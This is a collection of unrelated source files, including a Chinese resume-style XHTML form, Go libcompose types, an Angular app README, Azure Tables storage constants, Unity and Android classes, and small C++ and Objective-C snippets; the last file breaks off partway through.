        <xhtml:td height="51px" style="Vertical-Align:Middle;">

            <xhtml:span component="$model/UI2/system/components/justep/button/radio" class="x-radio" data-config="{"checked":false,"disabled":false}" data-bind="component:{name:'$model/UI2/system/components/justep/button/radio',value:ref('col0'),label:ref('col1')}">
              <xhtml:input type="radio"/>
              <xhtml:label/>
            </xhtml:span>

        </xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">籍贯</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input4" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="51px">
        <xhtml:td height="51px"/>
        <xhtml:td height="51px" style="Text-Align:Left;Vertical-Align:Middle;">身高/厘米</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input11" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">身份证号</xhtml:td>
        <xhtml:td height="51px" colspan="4" style="Text-Align:Center;Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input12" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="51px">
        <xhtml:td height="51px"/>
        <xhtml:td height="51px" style="Text-Align:Left;Vertical-Align:Middle;">专业</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input13" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">学历</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">
          <select component="$model/UI2/system/components/justep/select/select" class="form-control" xid="select3" bind-options="data4.datas" bind-optionsValue="'col0'" bind-optionsText="'col0'" bind-optionsAfterRender="$model.__justep__.selectOptionsAfterRender.bind($model,$element)" data-bind="component:{name:'$model/UI2/system/components/justep/select/select'}"/>
        </xhtml:td>
        <xhtml:td height="51px" rowspan="3" style="Text-Align:Center;Vertical-Align:Middle;"/>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">毕业院校</xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input5" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="51px">
        <xhtml:td height="51px"/>
        <xhtml:td height="51px" style="Text-Align:Left;Vertical-Align:Middle;">职称</xhtml:td>
        <xhtml:td height="51px" colspan="4" style="Text-Align:Left;Vertical-Align:Middle;">

            <xhtml:span component="$model/UI2/system/components/justep/button/checkbox" class="x-checkbox" data-config="{"checked":false,"disabled":false}" data-bind="component:{name:'$model/UI2/system/components/justep/button/checkbox',value:ref('col0'),label:ref('col0')}">
              <xhtml:input type="checkbox"/>
              <xhtml:label/>
            </xhtml:span>

        </xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">公司电话</xhtml:td>
        <xhtml:td height="51px" colspan="2" style="Text-Align:Center;Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input16" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="51px">
        <xhtml:td height="51px"/>
        <xhtml:td height="51px" style="Text-Align:Left;Vertical-Align:Middle;">私人电话</xhtml:td>
        <xhtml:td height="51px" colspan="4" style="Text-Align:Center;Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input3" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
        <xhtml:td height="51px" style="Vertical-Align:Middle;">电子邮件</xhtml:td>
        <xhtml:td height="51px" colspan="2" style="Text-Align:Center;Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input15" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="51px">
        <xhtml:td height="51px"/>
        <xhtml:td height="51px" style="Text-Align:Left;Vertical-Align:Middle;">地址</xhtml:td>
        <xhtml:td height="51px" colspan="8" style="Text-Align:Center;Vertical-Align:Middle;">
          <input component="$model/UI2/system/components/justep/input/input" class="form-control" xid="input14" data-bind="component:{name:'$model/UI2/system/components/justep/input/input'}"/>
        </xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="15px">
        <xhtml:td height="15px"/>
        <xhtml:td height="15px" colspan="9" style="Text-Align:Center;Vertical-Align:Middle;"/>
      </xhtml:tr>
      <xhtml:tr height="24px">
        <xhtml:td height="24px"/>
        <xhtml:td height="24px" colspan="9" style="Text-Align:Left;Vertical-Align:Middle;Background:#F2F2F2;">教育经历</xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="112px">
        <xhtml:td height="112px"/>
        <xhtml:td height="112px" colspan="9" style="Text-Align:Center;Vertical-Align:Middle;">
          <textarea component="$model/UI2/system/components/justep/textarea/textarea" class="form-control" xid="textarea3" style="height:100%;" data-bind="component:{name:'$model/UI2/system/components/justep/textarea/textarea'}"/>
        </xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="24px">
        <xhtml:td height="24px"/>
        <xhtml:td height="24px" colspan="9" style="Text-Align:Left;Vertical-Align:Middle;Background:#F2F2F2;">工作经历</xhtml:td>
      </xhtml:tr>
      <xhtml:tr height="163px">
        <xhtml:td height="163px"/>
        <xhtml:td height="163px" colspan="9" style="Text-Align:Center;Vertical-Align:Middle;">
          <textarea component="$model/UI2/system/components/justep/textarea/textarea" class="form-control" xid="textarea4" style="height:100%;" data-bind="component:{name:'$model/UI2/system/components/justep/textarea/textarea'}"/>
        </xhtml:td>
      </xhtml:tr>
    </xhtml:table>


text:
package project

import "fmt"

// EventType defines a type of libcompose event.
type EventType int

// Definitions of libcompose events
const (
	NoEvent = EventType(iota)

	EventContainerCreated = EventType(iota)
	EventContainerStarted = EventType(iota)

	EventServiceAdd          = EventType(iota)
	EventServiceUpStart      = EventType(iota)
	EventServiceUpIgnored    = EventType(iota)
	EventServiceUp           = EventType(iota)
	EventServiceCreateStart  = EventType(iota)
	EventServiceCreate       = EventType(iota)
	EventServiceDeleteStart  = EventType(iota)
	EventServiceDelete       = EventType(iota)
	EventServiceDownStart    = EventType(iota)
	EventServiceDown         = EventType(iota)
	EventServiceRestartStart = EventType(iota)
	EventServiceRestart      = EventType(iota)
	EventServicePullStart    = EventType(iota)
	EventServicePull         = EventType(iota)
	EventServiceKillStart    = EventType(iota)
	EventServiceKill         = EventType(iota)
	EventServiceStartStart   = EventType(iota)
	EventServiceStart        = EventType(iota)
	EventServiceBuildStart   = EventType(iota)
	EventServiceBuild        = EventType(iota)

	EventProjectDownStart     = EventType(iota)
	EventProjectDownDone      = EventType(iota)
	EventProjectCreateStart   = EventType(iota)
	EventProjectCreateDone    = EventType(iota)
	EventProjectUpStart       = EventType(iota)
	EventProjectUpDone        = EventType(iota)
	EventProjectDeleteStart   = EventType(iota)
	EventProjectDeleteDone    = EventType(iota)
	EventProjectRestartStart  = EventType(iota)
	EventProjectRestartDone   = EventType(iota)
	EventProjectReload        = EventType(iota)
	EventProjectReloadTrigger = EventType(iota)
	EventProjectKillStart     = EventType(iota)
	EventProjectKillDone      = EventType(iota)
	EventProjectStartStart    = EventType(iota)
	EventProjectStartDone     = EventType(iota)
	EventProjectBuildStart    = EventType(iota)
	EventProjectBuildDone     = EventType(iota)
)

func (e EventType) String() string {
	var m string
	switch e {
	case EventContainerCreated:
		m = "Created container"
	case EventContainerStarted:
		m = "Started container"

	case EventServiceAdd:
		m = "Adding"
	case EventServiceUpStart:
		m = "Starting"
	case EventServiceUpIgnored:
		m = "Ignoring"
	case EventServiceUp:
		m = "Started"
	case EventServiceCreateStart:
		m = "Creating"
	case EventServiceCreate:
		m = "Created"
	case EventServiceDeleteStart:
		m = "Deleting"
	case EventServiceDelete:
		m = "Deleted"
	case EventServiceDownStart:
		m = "Stopping"
	case EventServiceDown:
		m = "Stopped"
	case EventServiceRestartStart:
		m = "Restarting"
	case EventServiceRestart:
		m = "Restarted"
	case EventServicePullStart:
		m = "Pulling"
	case EventServicePull:
		m = "Pulled"
	case EventServiceKillStart:
		m = "Killing"
	case EventServiceKill:
		m = "Killed"
	case EventServiceStartStart:
		m = "Starting"
	case EventServiceStart:
		m = "Started"
	case EventServiceBuildStart:
		m = "Building"
	case EventServiceBuild:
		m = "Built"

	case EventProjectDownStart:
		m = "Stopping project"
	case EventProjectDownDone:
		m = "Project stopped"
	case EventProjectCreateStart:
		m = "Creating project"
	case EventProjectCreateDone:
		m = "Project created"
	case EventProjectUpStart:
		m = "Starting project"
	case EventProjectUpDone:
		m = "Project started"
	case EventProjectDeleteStart:
		m = "Deleting project"
	case EventProjectDeleteDone:
		m = "Project deleted"
	case EventProjectRestartStart:
		m = "Restarting project"
	case EventProjectRestartDone:
		m = "Project restarted"
	case EventProjectReload:
		m = "Reloading project"
	case EventProjectReloadTrigger:
		m = "Triggering project reload"
	case EventProjectKillStart:
		m = "Killing project"
	case EventProjectKillDone:
		m = "Project killed"
	case EventProjectStartStart:
		m = "Starting project"
	case EventProjectStartDone:
		m = "Project started"
	case EventProjectBuildStart:
		m = "Building project"
	case EventProjectBuildDone:
		m = "Project built"
	}

	if m == "" {
		m = fmt.Sprintf("EventType: %d", int(e))
	}

	return m
}

// InfoPart holds key/value strings.
type InfoPart struct {
	Key, Value string
}

// InfoSet holds a list of Info.
type InfoSet []Info

// Info holds a list of InfoPart.
type Info []InfoPart

// ServiceConfig holds libcompose service configuration
type ServiceConfig struct {
	Build         string            `yaml:"build,omitempty"`
	CapAdd        []string          `yaml:"cap_add,omitempty"`
	CapDrop       []string          `yaml:"cap_drop,omitempty"`
	CPUSet        string            `yaml:"cpuset,omitempty"`
	CPUShares     int64             `yaml:"cpu_shares,omitempty"`
	Command       Command           `yaml:"command,flow,omitempty"`
	ContainerName string            `yaml:"container_name,omitempty"`
	Devices       []string          `yaml:"devices,omitempty"`
	DNS           Stringorslice     `yaml:"dns,omitempty"`
	DNSSearch     Stringorslice     `yaml:"dns_search,omitempty"`
	Dockerfile    string            `yaml:"dockerfile,omitempty"`
	DomainName    string            `yaml:"domainname,omitempty"`
	Entrypoint    Command           `yaml:"entrypoint,flow,omitempty"`
	EnvFile       Stringorslice     `yaml:"env_file,omitempty"`
	Environment   MaporEqualSlice   `yaml:"environment,omitempty"`
	Hostname      string            `yaml:"hostname,omitempty"`
	Image         string            `yaml:"image,omitempty"`
	Labels        SliceorMap        `yaml:"labels,omitempty"`
	Links         MaporColonSlice   `yaml:"links,omitempty"`
	LogDriver     string            `yaml:"log_driver,omitempty"`
	MemLimit      int64             `yaml:"mem_limit,omitempty"`
	MemSwapLimit  int64             `yaml:"memswap_limit,omitempty"`
	Name          string            `yaml:"name,omitempty"`
	Net           string            `yaml:"net,omitempty"`
	Pid           string            `yaml:"pid,omitempty"`
	Uts           string            `yaml:"uts,omitempty"`
	Ipc           string            `yaml:"ipc,omitempty"`
	Ports         []string          `yaml:"ports,omitempty"`
	Privileged    bool              `yaml:"privileged,omitempty"`
	Restart       string            `yaml:"restart,omitempty"`
	ReadOnly      bool              `yaml:"read_only,omitempty"`
	StdinOpen     bool              `yaml:"stdin_open,omitempty"`
	SecurityOpt   []string          `yaml:"security_opt,omitempty"`
	Tty           bool              `yaml:"tty,omitempty"`
	User          string            `yaml:"user,omitempty"`
	VolumeDriver  string            `yaml:"volume_driver,omitempty"`
	Volumes       []string          `yaml:"volumes,omitempty"`
	VolumesFrom   []string          `yaml:"volumes_from,omitempty"`
	WorkingDir    string            `yaml:"working_dir,omitempty"`
	Expose        []string          `yaml:"expose,omitempty"`
	ExternalLinks []string          `yaml:"external_links,omitempty"`
	LogOpt        map[string]string `yaml:"log_opt,omitempty"`
	ExtraHosts    []string          `yaml:"extra_hosts,omitempty"`
}

// EnvironmentLookup defines methods to provides environment variable loading.
type EnvironmentLookup interface {
	Lookup(key, serviceName string, config *ServiceConfig) []string
}

// ConfigLookup defines methods to provides file loading.
type ConfigLookup interface {
	Lookup(file, relativeTo string) ([]byte, string, error)
}

// Project holds libcompose project information.
type Project struct {
	Name           string
	Configs        map[string]*ServiceConfig
	File           string
	ReloadCallback func() error
	context        *Context
	reload         []string
	upCount        int
	listeners      []chan<- Event
	hasListeners   bool
}

// Service defines what a libcompose service provides.
type Service interface {
	Info(qFlag bool) (InfoSet, error)
	Name() string
	Build() error
	Create() error
	Up() error
	Start() error
	Down() error
	Delete() error
	Restart() error
	Log() error
	Pull() error
	Kill() error
	Config() *ServiceConfig
	DependentServices() []ServiceRelationship
	Containers() ([]Container, error)
	Scale(count int) error
}

// Container defines what a libcompose container provides.
type Container interface {
	ID() (string, error)
	Name() string
	Port(port string) (string, error)
}

// ServiceFactory is an interface factory to create Service object for the specified
// project, with the specified name and service configuration.
type ServiceFactory interface {
	Create(project *Project, name string, serviceConfig *ServiceConfig) (Service, error)
}

// ServiceRelationshipType defines the type of service relationship.
type ServiceRelationshipType string

// RelTypeLink means the services are linked (docker links).
const RelTypeLink = ServiceRelationshipType("")

// RelTypeNetNamespace means the services share the same network namespace.
const RelTypeNetNamespace = ServiceRelationshipType("netns")

// RelTypeIpcNamespace means the service share the same ipc namespace.
const RelTypeIpcNamespace = ServiceRelationshipType("ipc")

// RelTypeVolumesFrom means the services share some volumes.
const RelTypeVolumesFrom = ServiceRelationshipType("volumesFrom")

// ServiceRelationship holds the relationship information between two services.
type ServiceRelationship struct {
	Target, Alias string
	Type          ServiceRelationshipType
	Optional      bool
}

// NewServiceRelationship creates a new Relationship based on the specified alias
// and relationship type.
func NewServiceRelationship(nameAlias string, relType ServiceRelationshipType) ServiceRelationship {
	name, alias := NameAlias(nameAlias)
	return ServiceRelationship{
		Target: name,
		Alias:  alias,
		Type:   relType,
	}
}


text:
This is a test application built by castroarguello.

## Getting Started

To get you started you can simply clone the repository and install the dependencies:

### Prerequisites

You need git to clone the repository. You can get git from
[http://git-scm.com/](http://git-scm.com/).

We also use a number of node.js tools to initialize and test. You must have node.js and
its package manager (npm) installed.  You can get them from [http://nodejs.org/](http://nodejs.org/).

### Clone repo

Clone the repository using [git][git]:

```
git clone https://github.com/castroarguello/news-app.git
cd news-app
```

If you just want to start a new project without the commit history then you can do:

```bash
git clone --depth=1 https://github.com/castroarguello/news-app.git <your-project-name>
```

The `depth=1` tells git to only pull down one commit worth of historical data.

### Config news source

Edit app/config.js to modify the news source:

```
  .constant('APP_CONFIG', {
    environment: 'development',
    services: {
      baseUrl: '/data/',
      news: 'articles.json',
    }
  });
```

### Install Dependencies

We have two kinds of dependencies in this project: tools and angular framework code.  The tools help
us manage and test the application.

* We get the tools we depend upon via `npm`, the [node package manager][npm].
* We get the angular code via `bower`, a [client-side code package manager][bower].

We have preconfigured `npm` to automatically run `bower` so we can simply do:

```
npm install
```

Behind the scenes this will also call `bower install`.  You should find that you have two new
folders in your project.

* `node_modules` - contains the npm packages for the tools we need
* `app/bower_components` - contains the angular framework files

*Note that the `bower_components` folder would normally be installed in the root folder but
we changed this location through the `.bowerrc` file.  Putting it in the app folder makes
it easier to serve the files by a webserver.*

### Run the Application

We have preconfigured the project with a simple development web server.  The simplest way to start
this server is:

```
npm start
```

Now browse to the app at `http://localhost:8000/index.html`.

### Running the App during Development

This project comes preconfigured with a local development webserver.  It is a node.js
tool called [http-server][http-server].  You can start this webserver with `npm start` but you may choose to
install the tool globally:

```
sudo npm install -g http-server
```

Then you can start your own development web server to serve static files from a folder by
running:

```
http-server -a localhost -p 8000 app/
```

Alternatively, you can choose to configure your own webserver, such as apache or nginx. Just
configure your server to serve the files under the `app/` directory.


text:
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.

package com.azure.data.tables.implementation;

import com.azure.data.tables.sas.TableSasProtocol;

import java.time.ZoneId;
import java.time.format.DateTimeFormatter;
import java.util.Locale;

/**
 * Defines storage service constants.
 */
public final class StorageConstants {
    private StorageConstants() {
        throw new UnsupportedOperationException("'StorageConstants' must not be instantiated");
    }

    /**
     * Represents a non-SI kilobyte.
     */
    public static final int KB = 1024;

    /**
     * Represents a non-SI megabyte.
     */
    public static final int MB = 1024 * KB;

    /**
     * Represents a non-SI gigabyte.
     */
    public static final int GB = 1024 * MB;

    /**
     * Represents a non-SI terabyte.
     */
    public static final long TB = 1024L * GB;

    /**
     * Represents the value for {@link TableSasProtocol#HTTPS_ONLY}.
     */
    public static final String HTTPS = "https";

    /**
     * Represents the value for {@link TableSasProtocol#HTTPS_HTTP}.
     */
    public static final String HTTPS_HTTP = "https,http";

    /**
     * Exception message when the underlying stream has already been closed.
     */
    public static final String STREAM_CLOSED = "Stream is already closed.";

    /**
     * Exception message when the value could not be parsed into an enum.
     */
    public static final String ENUM_COULD_NOT_BE_PARSED_INVALID_VALUE =
        "%s could not be parsed from '%s' due to invalid value %s.";

    public static final DateTimeFormatter ISO_8601_UTC_DATE_FORMATTER =
        DateTimeFormatter.ofPattern("yyyy-MM-dd'T'HH:mm:ss'Z'", Locale.ROOT).withZone(ZoneId.of("UTC"));

    public static final String BLOB_ALREADY_EXISTS =
        "Blob already exists. Specify overwrite to true to force update the blob.";

    public static final String FILE_ALREADY_EXISTS =
        "File already exists. Specify overwrite to true to force update the file.";

    /**
     * Buffer width used to copy data to output streams.
     */
    public static final int BUFFER_COPY_LENGTH = 8 * KB;

    public static final String STORAGE_SCOPE = "https://storage.azure.com/.default";

    public static final String STORAGE_LOG_STRING_TO_SIGN = "Azure-Storage-Log-String-To-Sign";

    /**
     * Defines constants for use with connection strings.
     */
    public static final class ConnectionStringConstants {
        private ConnectionStringConstants() {
            throw new UnsupportedOperationException("'ConnectionStringConstants' must not be instantiated");
        }

        /**
         * The setting name for the storage account name.
         */
        public static final String ACCOUNT_NAME = "AccountName";

        /**
         * The setting name for the storage account key.
         */
        public static final String ACCOUNT_KEY_NAME = "AccountKey";

        /**
         * The setting name for using the default storage endpoints with the specified protocol.
         */
        public static final String DEFAULT_ENDPOINTS_PROTOCOL_NAME = "DefaultEndpointsProtocol";

        /**
         * The setting name for a custom blob storage endpoint.
         */
        public static final String BLOB_ENDPOINT_NAME = "BlobEndpoint";

        /**
         * The setting name for a custom blob storage secondary endpoint.
         */
        public static final String BLOB_SECONDARY_ENDPOINT_NAME = "BlobSecondaryEndpoint";

        /**
         * The setting name for a custom queue endpoint.
         */
        public static final String QUEUE_ENDPOINT_NAME = "QueueEndpoint";

        /**
         * The setting name for a custom queue secondary endpoint.
         */
        public static final String QUEUE_SECONDARY_ENDPOINT_NAME = "QueueSecondaryEndpoint";

        /**
         * The setting name for a custom file endpoint.
         */
        public static final String FILE_ENDPOINT_NAME = "FileEndpoint";

        /**
         * The setting name for a custom file secondary endpoint.
         */
        public static final String FILE_SECONDARY_ENDPOINT_NAME = "FileSecondaryEndpoint";

        /**
         * The setting name for a custom table storage endpoint.
         */
        public static final String TABLE_ENDPOINT_NAME = "TableEndpoint";

        /**
         * The setting name for a custom table storage secondary endpoint.
         */
        public static final String TABLE_SECONDARY_ENDPOINT_NAME = "TableSecondaryEndpoint";

        /**
         * The setting name for a custom storage endpoint suffix.
         */
        public static final String ENDPOINT_SUFFIX_NAME = "EndpointSuffix";

        /**
         * The setting name for a shared access key.
         */
        public static final String SHARED_ACCESS_SIGNATURE_NAME = "SharedAccessSignature";

        /**
         * The setting name for using the emulator storage.
         */
        public static final String USE_EMULATOR_STORAGE_NAME = "UseDevelopmentStorage";

        /**
         * The setting name for specifying a development storage proxy Uri.
         */
        public static final String EMULATOR_STORAGE_PROXY_URI_NAME = "DevelopmentStorageProxyUri";

        /**
         * The root storage DNS name.
         */
        public static final String DEFAULT_DNS = "core.windows.net";

        /**
         * The format string for the primary endpoint in emulator.
         */
        public static final String EMULATOR_PRIMARY_ENDPOINT_FORMAT = "%s://%s:%s/devstoreaccount1";

        /**
         * The format string for the secondary endpoint in emulator.
         */
        public static final String EMULATOR_SECONDARY_ENDPOINT_FORMAT = "%s://%s:%s/devstoreaccount1-secondary";

        /**
         * The default account key for the development storage.
         */
        public static final String EMULATOR_ACCOUNT_KEY
            = "Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==";

        /**
         * The default account name for the development storage.
         */
        public static final String EMULATOR_ACCOUNT_NAME = "devstoreaccount1";
    }

    /**
     * Defines constants for use with HTTP headers.
     */
    public static final class HeaderConstants {
        private HeaderConstants() {
            throw new UnsupportedOperationException("'HeaderConstants' must not be instantiated");
        }

        /**
         * The current storage version header value.
         */
        public static final String TARGET_STORAGE_VERSION = "2020-04-08";

        /**
         * Error code returned from the service.
         */
        public static final String ERROR_CODE = "x-ms-error-code";

        /**
         * Compression type used on the body.
         */
        public static final String CONTENT_ENCODING = "Content-Encoding";

        public static final String CLIENT_REQUEST_ID = "x-ms-client-request-id";

        public static final String ENCRYPTION_KEY = "x-ms-encryption-key";

        public static final String ENCRYPTION_KEY_SHA256 = "x-ms-encryption-key-sha256";

        public static final String SERVER_ENCRYPTED = "x-ms-server-encrypted";

        public static final String REQUEST_SERVER_ENCRYPTED = "x-ms-request-server-encrypted";

        public static final String ETAG_WILDCARD = "*";

        public static final String DIRECTORY_METADATA_KEY = "hdi_isfolder";

        public static final String X_MS_META = "x-ms-meta";

        public static final String SMB_PROTOCOL = "SMB";

        public static final String NFS_PROTOCOL = "NFS";
    }

    /**
     * Defines constants for use with URLs.
     */
    public static final class UrlConstants {
        private UrlConstants() {
            throw new UnsupportedOperationException("'UrlConstants' must not be instantiated");
        }

        /**
         * The snapshot parameters.
         */
        public static final String SNAPSHOT_QUERY_PARAMETER = "snapshot";

        /**
         * The versionId parameters.
         */
        public static final String VERSIONID_QUERY_PARAMETER = "versionid";

        /**
         * The SAS service version parameter.
         */
        public static final String SAS_SERVICE_VERSION = "sv";

        /**
         * The SAS services parameter.
         */
        public static final String SAS_SERVICES = "ss";

        /**
         * The SAS resource types parameter.
         */
        public static final String SAS_RESOURCES_TYPES = "srt";

        /**
         * The SAS protocol parameter.
         */
        public static final String SAS_PROTOCOL = "spr";

        /**
         * The SAS start time parameter.
         */
        public static final String SAS_START_TIME = "st";

        /**
         * The SAS expiration time parameter.
         */
        public static final String SAS_EXPIRY_TIME = "se";

        /**
         * The SAS IP range parameter.
         */
        public static final String SAS_IP_RANGE = "sip";

        /**
         * The SAS signed identifier parameter.
         */
        public static final String SAS_SIGNED_IDENTIFIER = "si";

        /**
         * The SAS signed resource parameter.
         */
        public static final String SAS_SIGNED_RESOURCE = "sr";

        /**
         * The SAS signed permissions parameter.
         */
        public static final String SAS_SIGNED_PERMISSIONS = "sp";

        /**
         * The SAS signature parameter.
         */
        public static final String SAS_SIGNATURE = "sig";

        /**
         * The SAS cache control parameter.
         */
        public static final String SAS_CACHE_CONTROL = "rscc";

        /**
         * The SAS content disposition parameter.
         */
        public static final String SAS_CONTENT_DISPOSITION = "rscd";

        /**
         * The SAS content encoding parameter.
         */
        public static final String SAS_CONTENT_ENCODING = "rsce";

        /**
         * The SAS content language parameter.
         */
        public static final String SAS_CONTENT_LANGUAGE = "rscl";

        /**
         * The SAS content type parameter.
         */
        public static final String SAS_CONTENT_TYPE = "rsct";

        /**
         * The SAS table name parameter.
         */
        public static final String SAS_TABLE_NAME = "tn";

        /**
         * The SAS signed object id parameter for user delegation SAS.
         */
        public static final String SAS_SIGNED_OBJECT_ID = "skoid";

        /**
         * The SAS signed tenant id parameter for user delegation SAS.
         */
        public static final String SAS_SIGNED_TENANT_ID = "sktid";

        /**
         * The SAS signed key-start parameter for user delegation SAS.
         */
        public static final String SAS_SIGNED_KEY_START = "skt";

        /**
         * The SAS signed key-expiry parameter for user delegation SAS.
         */
        public static final String SAS_SIGNED_KEY_EXPIRY = "ske";

        /**
         * The SAS signed service parameter for user delegation SAS.
         */
        public static final String SAS_SIGNED_KEY_SERVICE = "sks";

        /**
         * The SAS signed version parameter for user delegation SAS.
         */
        public static final String SAS_SIGNED_KEY_VERSION = "skv";

        /**
         * The SAS preauthorized agent object id parameter for user delegation SAS.
         */
        public static final String SAS_PREAUTHORIZED_AGENT_OBJECT_ID = "saoid";

        /**
         * The SAS agent object id parameter for user delegation SAS.
         */
        public static final String SAS_AGENT_OBJECT_ID = "suoid";

        /**
         * The SAS correlation id parameter for user delegation SAS.
         */
        public static final String SAS_CORRELATION_ID = "scid";

        /**
         * The SAS directory depth parameter.
         */
        public static final String SAS_DIRECTORY_DEPTH = "sdd";

        /**
         * The SAS queue constant.
         */
        public static final String SAS_QUEUE_CONSTANT = "q";

        /**
         * The SAS table start partition key.
         */
        public static final String SAS_TABLE_START_PARTITION_KEY = "spk";

        /**
         * The SAS table start row key.
         */
        public static final String SAS_TABLE_START_ROW_KEY = "srk";

        /**
         * The SAS table end partition key.
         */
        public static final String SAS_TABLE_END_PARTITION_KEY = "epk";

        /**
         * The SAS table end row key.
         */
        public static final String SAS_TABLE_END_ROW_KEY = "erk";
    }
}


text:
@interface CityModel : NSObject
@property (nonatomic, copy) NSString *name;
@property (nonatomic, copy) NSString *cityId;
@property (nonatomic, copy) NSString *longitude;
@property (nonatomic, copy) NSString *latitude;
@property (nonatomic, copy) NSString *updatetime;
- (instancetype)initWithName:(NSString *)name
                      cityId:(NSString *)cityId
                   longitude:(NSString *)longitude
                    latitude:(NSString *)latitude
                  updatetime:(NSString *)updatetime;

@end


text:
#include "../population.h"
#include "null.h"

namespace pagmo
{

namespace algorithm
{

/// Default constructor.
null::null():base() {}

/// Clone method.
base_ptr null::clone() const
{
	return base_ptr(new null(*this));
}

/// Evolution.
/**
 * Evolution for this algorithm will leave the population unchanged.
 */
void null::evolve(population &) const
{}

/// Algorithm name
std::string null::get_name() const
{
	return "Null Algorithm";
}

}}

BOOST_CLASS_EXPORT_IMPLEMENT(pagmo::algorithm::null)


text:
/*----------------------------------------------------------------------------*/
/* Copyright (c) FIRST 2011. All Rights Reserved.							  */
/* Open Source Software - may be modified and shared by FRC teams. The code   */
/* must be accompanied by the FIRST BSD license file in $(WIND_BASE)/WPILib.  */
/*----------------------------------------------------------------------------*/

#include "Buttons/InternalButton.h"

InternalButton::InternalButton() :
	m_pressed(false),
	m_inverted(false)
{
}

InternalButton::InternalButton(bool inverted) :
	m_pressed(inverted),
	m_inverted(inverted)
{
}

void InternalButton::SetInverted(bool inverted)
{
	m_inverted = inverted;
}

void InternalButton::SetPressed(bool pressed)
{
	m_pressed = pressed;
}

bool InternalButton::Get()
{
	return m_pressed ^ m_inverted;
}


text:
using UnityEngine;
using System.Collections;

public class SceneTransitioner : MonoBehaviour {
  private const float FADE_IN_AMOUNT = 0f;
  private const float FADE_OUT_AMOUNT = 1f;
  private const float FADE_IN_TIME = 1f;
  private const float FADE_OUT_TIME = 1f;
  public Texture2D FadeTexture;
  private Color Color;

  private string levelName;

  private static SceneTransitioner instance;
  public static SceneTransitioner Instance {
    get {
      if (instance == null) {
        instance = GameObject.Find("/Global/SceneTransitioner").GetComponent<SceneTransitioner>();
      }

      return instance;
    }
  }

  void Start() {
    FadeIn();
  }

  void OnGUI() {
    if (Color.a != 0) {
      GUI.color = Color;
      GUI.DrawTexture(ScreenRect, FadeTexture);
    }
  }

  private Rect ScreenRect {
    get { return new Rect(0, 0, Screen.width, Screen.height); }
  }

  public void TransitionTo(string levelName) {
    this.levelName = levelName;

    FadeOut();
  }

  private void FadeIn() {
    var options = new Hashtable();
    options.Add("from", FADE_OUT_AMOUNT);
    options.Add("to", FADE_IN_AMOUNT);
    options.Add("time", FADE_IN_TIME);
    options.Add("onupdate", "TweenAlpha");
    options.Add("onupdatetarget", gameObject);
    iTween.ValueTo(gameObject, options);
  }

  private void FadeOut() {
    var options = new Hashtable();
    options.Add("from", FADE_IN_AMOUNT);
    options.Add("to", FADE_OUT_AMOUNT);
    options.Add("time", FADE_IN_TIME);
    options.Add("onupdate", "TweenAlpha");
    options.Add("onupdatetarget", gameObject);
    options.Add("oncomplete", "LoadLevel");
    options.Add("oncompletetarget", gameObject);
    iTween.ValueTo(gameObject, options);
  }

  private void TweenAlpha(float alpha) {
    Color = new Color (1, 1, 1, alpha);
  }

  private void LoadLevel() {
    Application.LoadLevel(levelName);
  }
}


text:
package test.demo.gyniu.v2ex.model;

import android.os.Parcel;
import android.os.Parcelable;

import com.google.common.base.Objects;

/**
 * Created by uiprj on 17-5-15.
 */
public class Comment implements Parcelable {
    private final int mId;
    private final String mContent;
    private final Member mMember;
    private final String mReplyTime;
    private final int mFloor;

    public Comment(int mId, String mContent, Member mMember, String mReplyTime, int mFloor) {
        this.mId = mId;
        this.mContent = mContent;
        this.mMember = mMember;
        this.mReplyTime = mReplyTime;
        this.mFloor = mFloor;
    }

    public int getId() {
        return mId;
    }

    public String getContent() {
        return mContent;
    }

    public Member getMember() {
        return mMember;
    }

    public String getReplyTime() {
        return mReplyTime;
    }

    public int getFloor() {
        return mFloor;
    }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (o == null || getClass() != o.getClass()) return false;
        Comment comment = (Comment) o;
        return mId == comment.mId &&
                mFloor == comment.mFloor &&
                Objects.equal(mContent, comment.mContent) &&
                Objects.equal(mMember, comment.mMember) &&
                Objects.equal(mReplyTime, comment.mReplyTime);
    }

